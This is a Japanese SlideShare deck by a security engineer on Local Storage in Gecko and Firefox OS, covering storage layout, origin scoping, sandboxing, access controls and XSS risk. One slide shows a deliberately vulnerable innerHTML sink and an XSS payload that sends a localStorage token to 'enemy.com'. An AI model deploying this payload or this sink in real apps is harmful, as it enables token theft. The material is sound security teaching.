SlideShare une entreprise Scribd logo
1  sur  12
Télécharger pour lire hors ligne
GeckoのLocal Storageについて調べてみた
FxOS Gecko勉強会 その2
2013.12.19 @ Mozilla Japan オフィス
2014.06.23 Updated
2
自己紹介
本発表は私の個人的な調査に基づくものです。
内容に誤りがあるかもしれませんがご了承ください
名前 西村 宗晃 (にしむねあ)
・https://www.facebook.com/muneaki.nishimura
職業 セキュリティエンジニア
・セキュア開発のコンサルティング
・Android端末~アプリの開発支援
3
Local Storageとは
• HTTPクライアントに永続的なデータを保存する機能
↔ Session Storage : セッション(ウィンドウが閉じるまで)の間だけ有効なデータを保存
• W3CのWeb Storage仕様の一部
⁃ 元々はHTML5仕様の一部だったが、現在は独立
• key-value形式によるデータ管理
localStorage.setItem("foo","bar");
var foo = localStorage.getItem("foo"); // foo = "bar"
4
GeckoにおけるLocal Storageの実装①
• Local Storageのデータは1つのSQLiteファイルに保存
⁃ Firefoxブラウザ (Mac):
~/Library/Application Support/Firefox/Profiles/{profile}/webappsstore.sqlite
⁃ Firefox OS:
/data/b2g/mozilla/{profile}/webappsstore.sqlite
• webappsstore2テーブルのレコードとして保存
⁃ 1組のkey-valueデータが1レコードに対応
5
GeckoにおけるLocal Storageの実装②
scope key value secure owner
moc.elpmaxe.:http:80 foo bar
※moc.elpmaxeは example.comを逆さにしたもの
• scopeにより各オリジンのLocal Storageを分離
⁃ 同一生成元ポリシー(RFC 6454)に基づくアクセス保護を実現
⁃ Firefox OSでは、同一生成元ポリシー+サンドボックスによるアクセス保護を実現(次頁)
• 例) http://example.com:80/ で foo=bar というデータを保存した場合
⁃ scopeフィールドにデータのオリジン(スキーム+ホスト名+ポート番号)を保存
6
Firefox OSにおけるLocal Storageの保護①
• Webアプリのサンドボックス
⁃ 端末内のアプリは固有のオリジン(app://)を持つ
⁃ 他のアプリのLocal Storageはアクセスできない
• ブラウザAPIのサンドボックス
⁃ <iframe mozbrowser>で開かれたページはアプリと異なるサンドボックスを持つ
⁃ <iframe mozbrowser>のLocal Storageは呼び出し元のアプリから分離される
7
Firefox OSにおけるLocal Storageの保護②
• これらのサンドボックスによるデータの保護はscopeで実現されている
⁃ = アプリID : Browser Contentフラグ(t/f) : ホスト名 : ポート番号 : スキーム
アプリA (オリジン=app://hoge・アプリID=1005)
アプリA内部のJavaScriptファイル
1005:f:egoh.:app
<iframe src="http://example.com:80">
1005:f:moc.elpmaxe.80:http
<iframe src="http://example.com:80/" mozbrowser>
1005:t:moc.elpmaxe.80:http
http://example.com:80
scope
8
Local Storage自体のアクセス制御①
• 以下の場合はwindow.localStorageの参照が禁止される
⁃ GeckoのWeb Storage機能が無効化されている場合
⁃ Preferenceの「dom.storage.enabled」が「false」
⁃ Cookieの使用が無効化されている場合
⁃ サイト別設定マネージャーの「Cookieデータの保存」が「拒否」
⁃ Preferenceの「network.cookie.cookieBehavior」が「使用禁止(2)」
⁃ Preferenceの「network.cookie.lifetimepolicy」が「毎回ユーザーに確認(1)」
⁃ <iframe>にsandbox属性が適用されている場合
⁃ ただしallow-same-originトークンが指定されていない場合のみ
9
Local Storage自体のアクセス制御②
• 以下の場合はデータがストレージに保存されない(RAMにのみ保存される)
⁃ Cookieがセッションの間のみ有効である場合
⁃ サイト別設定マネージャーの「Cookieデータの保存」が「セッション中のみ許可」
⁃ Preferenceの「network.cookie.lifetimepolicy」が「ブラウザ終了時まで保存(2)」
⁃ プライベートブラウジングモードで閲覧中の場合
10
アプリのLocal StorageとXSS脆弱性①
• アプリにXSS脆弱性があるとLocal Storageのデータは盗み出せてしまう
⁃ CookieのようにJavaScriptからのアクセスを禁止する仕組みが無いため
• Firefox OSのアプリにはXSSの保険的対策としてCSPが適用されている
⁃ しかしPrivileged AppのCSPには「unsafe-inline」が指定されているので
DOMツリーにJavaScriptコードを出力しても動作してしまう (次頁参照)
⁃ Firefox OS v1.2のPrivileged Appでは「unsafe-inline」が外された模様
⁃ XSSでLocal Storageを盗み出すのは困難になった
11
アプリのLocal StorageとXSS脆弱性②
• 以下のようなコードがあるとLocal Storageのデータを盗まれてしまう
var req = new XMLHttpRequest({mozSystem: true});
req.open('GET', destination, true);
req.onreadystatechange = function(e) {
var contact = JSON.parse(req.responseText);
document.getElementById("email").innerHTML = contact.email;
}; req.send(null);
{"email":"<img src='d.png' onerror='document.location.href=¥"http://enemy.com?
token=¥"+localStorage.getItem(¥"key¥");'>"}
脆弱なアプリのJavaScriptコード例
サーバがアプリに送るJSONデータ(攻撃コード)
12
宣伝:本を書きました「狐物語」
タイトル 狐物語
ページ数 68ページ
価格 1,000円(イベント頒布価格)
表紙
イラスト しのめり / @shino_merry
デザイン siosio
目次
第一話 がいあハックス @bathtimefish
第二話 あぷりサポート @cattaka_net
第三話 すまほツイリオ @junkpot1212
第四話 もじらスライス にしむねあ
第五話 かえんワールド @meco300
URL http://techbooster-c85.appspot.com/#foxtory
C85 3日目 西す24a TechBoosterにて発売

Contenu connexe

Tendances

Sphinxで社内勉強会(Git)の
資料を作ってみた
Sphinxで社内勉強会(Git)の
資料を作ってみたSphinxで社内勉強会(Git)の
資料を作ってみた
Sphinxで社内勉強会(Git)の
資料を作ってみたTaku SHIMIZU
 
Sphinxを使って本を書こう #pyconjp 2012
Sphinxを使って本を書こう #pyconjp 2012Sphinxを使って本を書こう #pyconjp 2012
Sphinxを使って本を書こう #pyconjp 2012Takayuki Shimizukawa
 
sphinx + blockdiag で始めるドキュメント生活 2011/05 yokohama.pm
sphinx + blockdiag で始めるドキュメント生活 2011/05 yokohama.pmsphinx + blockdiag で始めるドキュメント生活 2011/05 yokohama.pm
sphinx + blockdiag で始めるドキュメント生活 2011/05 yokohama.pmTakeshi Komiya
 
BPstudy#64 ドキュメントを作りたくなってしまう魔法のツール Sphinx 2012年版
BPstudy#64 ドキュメントを作りたくなってしまう魔法のツール Sphinx 2012年版BPstudy#64 ドキュメントを作りたくなってしまう魔法のツール Sphinx 2012年版
BPstudy#64 ドキュメントを作りたくなってしまう魔法のツール Sphinx 2012年版Go Yamada
 
手軽にメンテナンスできるドキュメントのヒミツ - blockdiag #odstudy 2011/07
手軽にメンテナンスできるドキュメントのヒミツ - blockdiag #odstudy 2011/07手軽にメンテナンスできるドキュメントのヒミツ - blockdiag #odstudy 2011/07
手軽にメンテナンスできるドキュメントのヒミツ - blockdiag #odstudy 2011/07Takeshi Komiya
 
Sphinxの使い方事例
Sphinxの使い方事例Sphinxの使い方事例
Sphinxの使い方事例Go Yamada
 
個人的ドキュメンテーションツール トップ100
個人的ドキュメンテーションツール トップ100個人的ドキュメンテーションツール トップ100
個人的ドキュメンテーションツール トップ100Go Yamada
 
Sphinx ではじめるドキュメント生活 2012 #pyconjp #sphinxconjp
Sphinx ではじめるドキュメント生活 2012 #pyconjp #sphinxconjpSphinx ではじめるドキュメント生活 2012 #pyconjp #sphinxconjp
Sphinx ではじめるドキュメント生活 2012 #pyconjp #sphinxconjpTakeshi Komiya
 
APIドキュメントの話 #sphinxjp
APIドキュメントの話 #sphinxjpAPIドキュメントの話 #sphinxjp
APIドキュメントの話 #sphinxjpTakeshi Komiya
 
社内のマニュアルをSphinxで作ってみた
社内のマニュアルをSphinxで作ってみた社内のマニュアルをSphinxで作ってみた
社内のマニュアルをSphinxで作ってみたIosif Takakura
 
ドキュメントの話、しませんか? #428rk01
ドキュメントの話、しませんか? #428rk01ドキュメントの話、しませんか? #428rk01
ドキュメントの話、しませんか? #428rk01Takeshi Komiya
 
ドキュメンテーションを加速するストレスフリーの作図ツール『blockdiag』 jus2011年6月勉強会
ドキュメンテーションを加速するストレスフリーの作図ツール『blockdiag』 jus2011年6月勉強会ドキュメンテーションを加速するストレスフリーの作図ツール『blockdiag』 jus2011年6月勉強会
ドキュメンテーションを加速するストレスフリーの作図ツール『blockdiag』 jus2011年6月勉強会Takayuki Shimizukawa
 
Sphinxでまとめる多言語環境APIドキュメント
Sphinxでまとめる多言語環境APIドキュメントSphinxでまとめる多言語環境APIドキュメント
Sphinxでまとめる多言語環境APIドキュメントIosif Takakura
 
Firefox で快適 WordPress 生活
Firefox で快適 WordPress 生活Firefox で快適 WordPress 生活
Firefox で快適 WordPress 生活dynamis
 
Bot Framework 最新情報 2017
Bot Framework 最新情報 2017Bot Framework 最新情報 2017
Bot Framework 最新情報 2017Yoshitaka Seo
 
Oktavia全文検索エンジン - SphinxCon JP 2014
Oktavia全文検索エンジン - SphinxCon JP 2014Oktavia全文検索エンジン - SphinxCon JP 2014
Oktavia全文検索エンジン - SphinxCon JP 2014Yoshiki Shibukawa
 
JUS関西 Sphinxワークショップ@関西 Sphinx事例紹介
JUS関西 Sphinxワークショップ@関西 Sphinx事例紹介JUS関西 Sphinxワークショップ@関西 Sphinx事例紹介
JUS関西 Sphinxワークショップ@関西 Sphinx事例紹介kk_Ataka
 
セキュリティ&プログラミングキャンプに行こう!
セキュリティ&プログラミングキャンプに行こう!セキュリティ&プログラミングキャンプに行こう!
セキュリティ&プログラミングキャンプに行こう!Kenta USAMI
 

Tendances (20)

Sphinx GO!!
Sphinx GO!!Sphinx GO!!
Sphinx GO!!
 
Cent7@zabbix2.4を試す
Cent7@zabbix2.4を試すCent7@zabbix2.4を試す
Cent7@zabbix2.4を試す
 
Sphinxで社内勉強会(Git)の
資料を作ってみた
Sphinxで社内勉強会(Git)の
資料を作ってみたSphinxで社内勉強会(Git)の
資料を作ってみた
Sphinxで社内勉強会(Git)の
資料を作ってみた
 
Sphinxを使って本を書こう #pyconjp 2012
Sphinxを使って本を書こう #pyconjp 2012Sphinxを使って本を書こう #pyconjp 2012
Sphinxを使って本を書こう #pyconjp 2012
 
sphinx + blockdiag で始めるドキュメント生活 2011/05 yokohama.pm
sphinx + blockdiag で始めるドキュメント生活 2011/05 yokohama.pmsphinx + blockdiag で始めるドキュメント生活 2011/05 yokohama.pm
sphinx + blockdiag で始めるドキュメント生活 2011/05 yokohama.pm
 
BPstudy#64 ドキュメントを作りたくなってしまう魔法のツール Sphinx 2012年版
BPstudy#64 ドキュメントを作りたくなってしまう魔法のツール Sphinx 2012年版BPstudy#64 ドキュメントを作りたくなってしまう魔法のツール Sphinx 2012年版
BPstudy#64 ドキュメントを作りたくなってしまう魔法のツール Sphinx 2012年版
 
手軽にメンテナンスできるドキュメントのヒミツ - blockdiag #odstudy 2011/07
手軽にメンテナンスできるドキュメントのヒミツ - blockdiag #odstudy 2011/07手軽にメンテナンスできるドキュメントのヒミツ - blockdiag #odstudy 2011/07
手軽にメンテナンスできるドキュメントのヒミツ - blockdiag #odstudy 2011/07
 
Sphinxの使い方事例
Sphinxの使い方事例Sphinxの使い方事例
Sphinxの使い方事例
 
個人的ドキュメンテーションツール トップ100
個人的ドキュメンテーションツール トップ100個人的ドキュメンテーションツール トップ100
個人的ドキュメンテーションツール トップ100
 
Sphinx ではじめるドキュメント生活 2012 #pyconjp #sphinxconjp
Sphinx ではじめるドキュメント生活 2012 #pyconjp #sphinxconjpSphinx ではじめるドキュメント生活 2012 #pyconjp #sphinxconjp
Sphinx ではじめるドキュメント生活 2012 #pyconjp #sphinxconjp
 
APIドキュメントの話 #sphinxjp
APIドキュメントの話 #sphinxjpAPIドキュメントの話 #sphinxjp
APIドキュメントの話 #sphinxjp
 
社内のマニュアルをSphinxで作ってみた
社内のマニュアルをSphinxで作ってみた社内のマニュアルをSphinxで作ってみた
社内のマニュアルをSphinxで作ってみた
 
ドキュメントの話、しませんか? #428rk01
ドキュメントの話、しませんか? #428rk01ドキュメントの話、しませんか? #428rk01
ドキュメントの話、しませんか? #428rk01
 
ドキュメンテーションを加速するストレスフリーの作図ツール『blockdiag』 jus2011年6月勉強会
ドキュメンテーションを加速するストレスフリーの作図ツール『blockdiag』 jus2011年6月勉強会ドキュメンテーションを加速するストレスフリーの作図ツール『blockdiag』 jus2011年6月勉強会
ドキュメンテーションを加速するストレスフリーの作図ツール『blockdiag』 jus2011年6月勉強会
 
Sphinxでまとめる多言語環境APIドキュメント
Sphinxでまとめる多言語環境APIドキュメントSphinxでまとめる多言語環境APIドキュメント
Sphinxでまとめる多言語環境APIドキュメント
 
Firefox で快適 WordPress 生活
Firefox で快適 WordPress 生活Firefox で快適 WordPress 生活
Firefox で快適 WordPress 生活
 
Bot Framework 最新情報 2017
Bot Framework 最新情報 2017Bot Framework 最新情報 2017
Bot Framework 最新情報 2017
 
Oktavia全文検索エンジン - SphinxCon JP 2014
Oktavia全文検索エンジン - SphinxCon JP 2014Oktavia全文検索エンジン - SphinxCon JP 2014
Oktavia全文検索エンジン - SphinxCon JP 2014
 
JUS関西 Sphinxワークショップ@関西 Sphinx事例紹介
JUS関西 Sphinxワークショップ@関西 Sphinx事例紹介JUS関西 Sphinxワークショップ@関西 Sphinx事例紹介
JUS関西 Sphinxワークショップ@関西 Sphinx事例紹介
 
セキュリティ&プログラミングキャンプに行こう!
セキュリティ&プログラミングキャンプに行こう!セキュリティ&プログラミングキャンプに行こう!
セキュリティ&プログラミングキャンプに行こう!
 

Similaire à GeckoのLocal Storageについて調べてみた

コンテキストデータの永続化のための戦略
コンテキストデータの永続化のための戦略コンテキストデータの永続化のための戦略
コンテキストデータの永続化のための戦略fisuda
 
HTML5 Local Storageを利用したメモ帳アプリ
HTML5 Local Storageを利用したメモ帳アプリHTML5 Local Storageを利用したメモ帳アプリ
HTML5 Local Storageを利用したメモ帳アプリYossy Taka
 
Firefox と Mozilla のテクノロジー
Firefox と Mozilla のテクノロジーFirefox と Mozilla のテクノロジー
Firefox と Mozilla のテクノロジーdynamis
 
Chromeでストレージ永続化を実現するには
Chromeでストレージ永続化を実現するにはChromeでストレージ永続化を実現するには
Chromeでストレージ永続化を実現するにはgoccy
 
Firefox 3.1 In Depth (?)
Firefox 3.1 In Depth (?)Firefox 3.1 In Depth (?)
Firefox 3.1 In Depth (?)dynamis
 
Firefox OSのアーキテクチャと構成技術
Firefox OSのアーキテクチャと構成技術Firefox OSのアーキテクチャと構成技術
Firefox OSのアーキテクチャと構成技術Makoto Kato
 
Firefox OS 勉強会 名古屋2nd 「便利な便利な開発ツール」
Firefox OS 勉強会 名古屋2nd 「便利な便利な開発ツール」Firefox OS 勉強会 名古屋2nd 「便利な便利な開発ツール」
Firefox OS 勉強会 名古屋2nd 「便利な便利な開発ツール」Noritada Shimizu
 
play framework 勉強会 in 関西
play framework 勉強会 in 関西play framework 勉強会 in 関西
play framework 勉強会 in 関西Shinichi Kozake
 
Silverlightをあれこれ紹介
Silverlightをあれこれ紹介Silverlightをあれこれ紹介
Silverlightをあれこれ紹介mizusawa
 
Iecachedata 20130427
Iecachedata 20130427Iecachedata 20130427
Iecachedata 20130427彰 村地
 
Werkzeugを使ってみた #osakapy 2016/04
Werkzeugを使ってみた #osakapy 2016/04Werkzeugを使ってみた #osakapy 2016/04
Werkzeugを使ってみた #osakapy 2016/04敦志 金谷
 
【ログ分析勉強会】セッションアクティビティログは使えるのか
【ログ分析勉強会】セッションアクティビティログは使えるのか【ログ分析勉強会】セッションアクティビティログは使えるのか
【ログ分析勉強会】セッションアクティビティログは使えるのかHibino Hisashi
 
Durable function storage provider
Durable function storage providerDurable function storage provider
Durable function storage providerKazunori Hamamoto
 
Firefox 学生向けアドオンパック
Firefox 学生向けアドオンパックFirefox 学生向けアドオンパック
Firefox 学生向けアドオンパックKosei Moriyama
 
OSC2011Tokyo/Fall OpenStack Swift入門
OSC2011Tokyo/Fall OpenStack Swift入門OSC2011Tokyo/Fall OpenStack Swift入門
OSC2011Tokyo/Fall OpenStack Swift入門irix_jp
 
Share file業務で使うクラウドストレージ 〜無限に拡がるデータの活用形態〜
Share file業務で使うクラウドストレージ 〜無限に拡がるデータの活用形態〜Share file業務で使うクラウドストレージ 〜無限に拡がるデータの活用形態〜
Share file業務で使うクラウドストレージ 〜無限に拡がるデータの活用形態〜Citrix Systems Japan
 
Flash airでスマートロック!
Flash airでスマートロック!Flash airでスマートロック!
Flash airでスマートロック!Takuya Noaki
 

Similaire à GeckoのLocal Storageについて調べてみた (20)

コンテキストデータの永続化のための戦略
コンテキストデータの永続化のための戦略コンテキストデータの永続化のための戦略
コンテキストデータの永続化のための戦略
 
HTML5 Local Storageを利用したメモ帳アプリ
HTML5 Local Storageを利用したメモ帳アプリHTML5 Local Storageを利用したメモ帳アプリ
HTML5 Local Storageを利用したメモ帳アプリ
 
Pbox on softlayer
Pbox on softlayerPbox on softlayer
Pbox on softlayer
 
Firefox と Mozilla のテクノロジー
Firefox と Mozilla のテクノロジーFirefox と Mozilla のテクノロジー
Firefox と Mozilla のテクノロジー
 
Chromeでストレージ永続化を実現するには
Chromeでストレージ永続化を実現するにはChromeでストレージ永続化を実現するには
Chromeでストレージ永続化を実現するには
 
Firefox 3.1 In Depth (?)
Firefox 3.1 In Depth (?)Firefox 3.1 In Depth (?)
Firefox 3.1 In Depth (?)
 
Firefox OSのアーキテクチャと構成技術
Firefox OSのアーキテクチャと構成技術Firefox OSのアーキテクチャと構成技術
Firefox OSのアーキテクチャと構成技術
 
Firefox OS 勉強会 名古屋2nd 「便利な便利な開発ツール」
Firefox OS 勉強会 名古屋2nd 「便利な便利な開発ツール」Firefox OS 勉強会 名古屋2nd 「便利な便利な開発ツール」
Firefox OS 勉強会 名古屋2nd 「便利な便利な開発ツール」
 
Client Side Cache
Client Side CacheClient Side Cache
Client Side Cache
 
play framework 勉強会 in 関西
play framework 勉強会 in 関西play framework 勉強会 in 関西
play framework 勉強会 in 関西
 
テスト
テストテスト
テスト
 
Silverlightをあれこれ紹介
Silverlightをあれこれ紹介Silverlightをあれこれ紹介
Silverlightをあれこれ紹介
 
Iecachedata 20130427
Iecachedata 20130427Iecachedata 20130427
Iecachedata 20130427
 
Werkzeugを使ってみた #osakapy 2016/04
Werkzeugを使ってみた #osakapy 2016/04Werkzeugを使ってみた #osakapy 2016/04
Werkzeugを使ってみた #osakapy 2016/04
 
【ログ分析勉強会】セッションアクティビティログは使えるのか
【ログ分析勉強会】セッションアクティビティログは使えるのか【ログ分析勉強会】セッションアクティビティログは使えるのか
【ログ分析勉強会】セッションアクティビティログは使えるのか
 
Durable function storage provider
Durable function storage providerDurable function storage provider
Durable function storage provider
 
Firefox 学生向けアドオンパック
Firefox 学生向けアドオンパックFirefox 学生向けアドオンパック
Firefox 学生向けアドオンパック
 
OSC2011Tokyo/Fall OpenStack Swift入門
OSC2011Tokyo/Fall OpenStack Swift入門OSC2011Tokyo/Fall OpenStack Swift入門
OSC2011Tokyo/Fall OpenStack Swift入門
 
Share file業務で使うクラウドストレージ 〜無限に拡がるデータの活用形態〜
Share file業務で使うクラウドストレージ 〜無限に拡がるデータの活用形態〜Share file業務で使うクラウドストレージ 〜無限に拡がるデータの活用形態〜
Share file業務で使うクラウドストレージ 〜無限に拡がるデータの活用形態〜
 
Flash airでスマートロック!
Flash airでスマートロック!Flash airでスマートロック!
Flash airでスマートロック!
 

Plus de Muneaki Nishimura

Find Blue Oceans - Through the Competitive World of Bug Bounty
Find Blue Oceans - Through the Competitive World of Bug BountyFind Blue Oceans - Through the Competitive World of Bug Bounty
Find Blue Oceans - Through the Competitive World of Bug BountyMuneaki Nishimura
 
OWASP Testing Guide からはじめよう - セキュリティ診断技術の共有、そして横展開
OWASP Testing Guide からはじめよう - セキュリティ診断技術の共有、そして横展開OWASP Testing Guide からはじめよう - セキュリティ診断技術の共有、そして横展開
OWASP Testing Guide からはじめよう - セキュリティ診断技術の共有、そして横展開Muneaki Nishimura
 
Webプラットフォームのセキュリティ
WebプラットフォームのセキュリティWebプラットフォームのセキュリティ
WebプラットフォームのセキュリティMuneaki Nishimura
 
Firefoxの日和見暗号がカジュアルに無効化された話
Firefoxの日和見暗号がカジュアルに無効化された話Firefoxの日和見暗号がカジュアルに無効化された話
Firefoxの日和見暗号がカジュアルに無効化された話Muneaki Nishimura
 
Mozillaの報奨金制度で200万円ほど稼いだ話
Mozillaの報奨金制度で200万円ほど稼いだ話Mozillaの報奨金制度で200万円ほど稼いだ話
Mozillaの報奨金制度で200万円ほど稼いだ話Muneaki Nishimura
 
HPKP Supercookies (公開鍵ピンニングによるユーザ追跡)
HPKP Supercookies (公開鍵ピンニングによるユーザ追跡)HPKP Supercookies (公開鍵ピンニングによるユーザ追跡)
HPKP Supercookies (公開鍵ピンニングによるユーザ追跡)Muneaki Nishimura
 
Mozillaの報奨金制度で100万円ほど稼いだ話
Mozillaの報奨金制度で100万円ほど稼いだ話Mozillaの報奨金制度で100万円ほど稼いだ話
Mozillaの報奨金制度で100万円ほど稼いだ話Muneaki Nishimura
 
Future of Web Security Opened up by CSP
Future of Web Security Opened up by CSPFuture of Web Security Opened up by CSP
Future of Web Security Opened up by CSPMuneaki Nishimura
 
Welcome to the Black Hole of Bug Bounty Program Rebooted
Welcome to the Black Hole of Bug Bounty Program RebootedWelcome to the Black Hole of Bug Bounty Program Rebooted
Welcome to the Black Hole of Bug Bounty Program RebootedMuneaki Nishimura
 
そろそろ押さえておきたい AngularJSのセキュリティ
そろそろ押さえておきたい AngularJSのセキュリティそろそろ押さえておきたい AngularJSのセキュリティ
そろそろ押さえておきたい AngularJSのセキュリティMuneaki Nishimura
 
Welcome to the Black Hole of Bug Bounty Program
Welcome to the Black Hole of Bug Bounty ProgramWelcome to the Black Hole of Bug Bounty Program
Welcome to the Black Hole of Bug Bounty ProgramMuneaki Nishimura
 
Webアプリ開発者のためのHTML5セキュリティ入門
Webアプリ開発者のためのHTML5セキュリティ入門Webアプリ開発者のためのHTML5セキュリティ入門
Webアプリ開発者のためのHTML5セキュリティ入門Muneaki Nishimura
 
Firefox OS パッケージ型アプリ インストールの仕組みを調べてみた
Firefox OS パッケージ型アプリ インストールの仕組みを調べてみたFirefox OS パッケージ型アプリ インストールの仕組みを調べてみた
Firefox OS パッケージ型アプリ インストールの仕組みを調べてみたMuneaki Nishimura
 

Plus de Muneaki Nishimura (14)

Find Blue Oceans - Through the Competitive World of Bug Bounty
Find Blue Oceans - Through the Competitive World of Bug BountyFind Blue Oceans - Through the Competitive World of Bug Bounty
Find Blue Oceans - Through the Competitive World of Bug Bounty
 
OWASP Testing Guide からはじめよう - セキュリティ診断技術の共有、そして横展開
OWASP Testing Guide からはじめよう - セキュリティ診断技術の共有、そして横展開OWASP Testing Guide からはじめよう - セキュリティ診断技術の共有、そして横展開
OWASP Testing Guide からはじめよう - セキュリティ診断技術の共有、そして横展開
 
Firefoxの倒し方
Firefoxの倒し方Firefoxの倒し方
Firefoxの倒し方
 
Webプラットフォームのセキュリティ
WebプラットフォームのセキュリティWebプラットフォームのセキュリティ
Webプラットフォームのセキュリティ
 
Firefoxの日和見暗号がカジュアルに無効化された話
Firefoxの日和見暗号がカジュアルに無効化された話Firefoxの日和見暗号がカジュアルに無効化された話
Firefoxの日和見暗号がカジュアルに無効化された話
 
Mozillaの報奨金制度で200万円ほど稼いだ話
Mozillaの報奨金制度で200万円ほど稼いだ話Mozillaの報奨金制度で200万円ほど稼いだ話
Mozillaの報奨金制度で200万円ほど稼いだ話
 
HPKP Supercookies (公開鍵ピンニングによるユーザ追跡)
HPKP Supercookies (公開鍵ピンニングによるユーザ追跡)HPKP Supercookies (公開鍵ピンニングによるユーザ追跡)
HPKP Supercookies (公開鍵ピンニングによるユーザ追跡)
 
Mozillaの報奨金制度で100万円ほど稼いだ話
Mozillaの報奨金制度で100万円ほど稼いだ話Mozillaの報奨金制度で100万円ほど稼いだ話
Mozillaの報奨金制度で100万円ほど稼いだ話
 
Future of Web Security Opened up by CSP
Future of Web Security Opened up by CSPFuture of Web Security Opened up by CSP
Future of Web Security Opened up by CSP
 
Welcome to the Black Hole of Bug Bounty Program Rebooted
Welcome to the Black Hole of Bug Bounty Program RebootedWelcome to the Black Hole of Bug Bounty Program Rebooted
Welcome to the Black Hole of Bug Bounty Program Rebooted
 
そろそろ押さえておきたい AngularJSのセキュリティ
そろそろ押さえておきたい AngularJSのセキュリティそろそろ押さえておきたい AngularJSのセキュリティ
そろそろ押さえておきたい AngularJSのセキュリティ
 
Welcome to the Black Hole of Bug Bounty Program
Welcome to the Black Hole of Bug Bounty ProgramWelcome to the Black Hole of Bug Bounty Program
Welcome to the Black Hole of Bug Bounty Program
 
Webアプリ開発者のためのHTML5セキュリティ入門
Webアプリ開発者のためのHTML5セキュリティ入門Webアプリ開発者のためのHTML5セキュリティ入門
Webアプリ開発者のためのHTML5セキュリティ入門
 
Firefox OS パッケージ型アプリ インストールの仕組みを調べてみた
Firefox OS パッケージ型アプリ インストールの仕組みを調べてみたFirefox OS パッケージ型アプリ インストールの仕組みを調べてみた
Firefox OS パッケージ型アプリ インストールの仕組みを調べてみた
 

Dernier

[DevOpsDays Tokyo 2024] 〜デジタルとアナログのはざまに〜 スマートビルディング爆速開発を支える 自動化テスト戦略
[DevOpsDays Tokyo 2024] 〜デジタルとアナログのはざまに〜 スマートビルディング爆速開発を支える 自動化テスト戦略[DevOpsDays Tokyo 2024] 〜デジタルとアナログのはざまに〜 スマートビルディング爆速開発を支える 自動化テスト戦略
[DevOpsDays Tokyo 2024] 〜デジタルとアナログのはざまに〜 スマートビルディング爆速開発を支える 自動化テスト戦略Ryo Sasaki
 
Open Source UN-Conference 2024 Kawagoe - 独自OS「DaisyOS GB」の紹介
Open Source UN-Conference 2024 Kawagoe - 独自OS「DaisyOS GB」の紹介Open Source UN-Conference 2024 Kawagoe - 独自OS「DaisyOS GB」の紹介
Open Source UN-Conference 2024 Kawagoe - 独自OS「DaisyOS GB」の紹介Yuma Ohgami
 
論文紹介:Semantic segmentation using Vision Transformers: A survey
論文紹介:Semantic segmentation using Vision Transformers: A survey論文紹介:Semantic segmentation using Vision Transformers: A survey
論文紹介:Semantic segmentation using Vision Transformers: A surveyToru Tamaki
 
TSAL operation mechanism and circuit diagram.pdf
TSAL operation mechanism and circuit diagram.pdfTSAL operation mechanism and circuit diagram.pdf
TSAL operation mechanism and circuit diagram.pdftaisei2219
 
論文紹介:Content-Aware Token Sharing for Efficient Semantic Segmentation With Vis...
論文紹介:Content-Aware Token Sharing for Efficient Semantic Segmentation With Vis...論文紹介:Content-Aware Token Sharing for Efficient Semantic Segmentation With Vis...
論文紹介:Content-Aware Token Sharing for Efficient Semantic Segmentation With Vis...Toru Tamaki
 
【早稲田AI研究会 講義資料】3DスキャンとTextTo3Dのツールを知ろう!(Vol.1)
【早稲田AI研究会 講義資料】3DスキャンとTextTo3Dのツールを知ろう!(Vol.1)【早稲田AI研究会 講義資料】3DスキャンとTextTo3Dのツールを知ろう!(Vol.1)
【早稲田AI研究会 講義資料】3DスキャンとTextTo3Dのツールを知ろう!(Vol.1)Hiroki Ichikura
 
論文紹介:Automated Classification of Model Errors on ImageNet
論文紹介:Automated Classification of Model Errors on ImageNet論文紹介:Automated Classification of Model Errors on ImageNet
論文紹介:Automated Classification of Model Errors on ImageNetToru Tamaki
 
スマートフォンを用いた新生児あやし動作の教示システム
スマートフォンを用いた新生児あやし動作の教示システムスマートフォンを用いた新生児あやし動作の教示システム
スマートフォンを用いた新生児あやし動作の教示システムsugiuralab
 
SOPを理解する 2024/04/19 の勉強会で発表されたものです
SOPを理解する       2024/04/19 の勉強会で発表されたものですSOPを理解する       2024/04/19 の勉強会で発表されたものです
SOPを理解する 2024/04/19 の勉強会で発表されたものですiPride Co., Ltd.
 

Dernier (9)

[DevOpsDays Tokyo 2024] 〜デジタルとアナログのはざまに〜 スマートビルディング爆速開発を支える 自動化テスト戦略
[DevOpsDays Tokyo 2024] 〜デジタルとアナログのはざまに〜 スマートビルディング爆速開発を支える 自動化テスト戦略[DevOpsDays Tokyo 2024] 〜デジタルとアナログのはざまに〜 スマートビルディング爆速開発を支える 自動化テスト戦略
[DevOpsDays Tokyo 2024] 〜デジタルとアナログのはざまに〜 スマートビルディング爆速開発を支える 自動化テスト戦略
 
Open Source UN-Conference 2024 Kawagoe - 独自OS「DaisyOS GB」の紹介
Open Source UN-Conference 2024 Kawagoe - 独自OS「DaisyOS GB」の紹介Open Source UN-Conference 2024 Kawagoe - 独自OS「DaisyOS GB」の紹介
Open Source UN-Conference 2024 Kawagoe - 独自OS「DaisyOS GB」の紹介
 
論文紹介:Semantic segmentation using Vision Transformers: A survey
論文紹介:Semantic segmentation using Vision Transformers: A survey論文紹介:Semantic segmentation using Vision Transformers: A survey
論文紹介:Semantic segmentation using Vision Transformers: A survey
 
TSAL operation mechanism and circuit diagram.pdf
TSAL operation mechanism and circuit diagram.pdfTSAL operation mechanism and circuit diagram.pdf
TSAL operation mechanism and circuit diagram.pdf
 
論文紹介:Content-Aware Token Sharing for Efficient Semantic Segmentation With Vis...
論文紹介:Content-Aware Token Sharing for Efficient Semantic Segmentation With Vis...論文紹介:Content-Aware Token Sharing for Efficient Semantic Segmentation With Vis...
論文紹介:Content-Aware Token Sharing for Efficient Semantic Segmentation With Vis...
 
【早稲田AI研究会 講義資料】3DスキャンとTextTo3Dのツールを知ろう!(Vol.1)
【早稲田AI研究会 講義資料】3DスキャンとTextTo3Dのツールを知ろう!(Vol.1)【早稲田AI研究会 講義資料】3DスキャンとTextTo3Dのツールを知ろう!(Vol.1)
【早稲田AI研究会 講義資料】3DスキャンとTextTo3Dのツールを知ろう!(Vol.1)
 
論文紹介:Automated Classification of Model Errors on ImageNet
論文紹介:Automated Classification of Model Errors on ImageNet論文紹介:Automated Classification of Model Errors on ImageNet
論文紹介:Automated Classification of Model Errors on ImageNet
 
スマートフォンを用いた新生児あやし動作の教示システム
スマートフォンを用いた新生児あやし動作の教示システムスマートフォンを用いた新生児あやし動作の教示システム
スマートフォンを用いた新生児あやし動作の教示システム
 
SOPを理解する 2024/04/19 の勉強会で発表されたものです
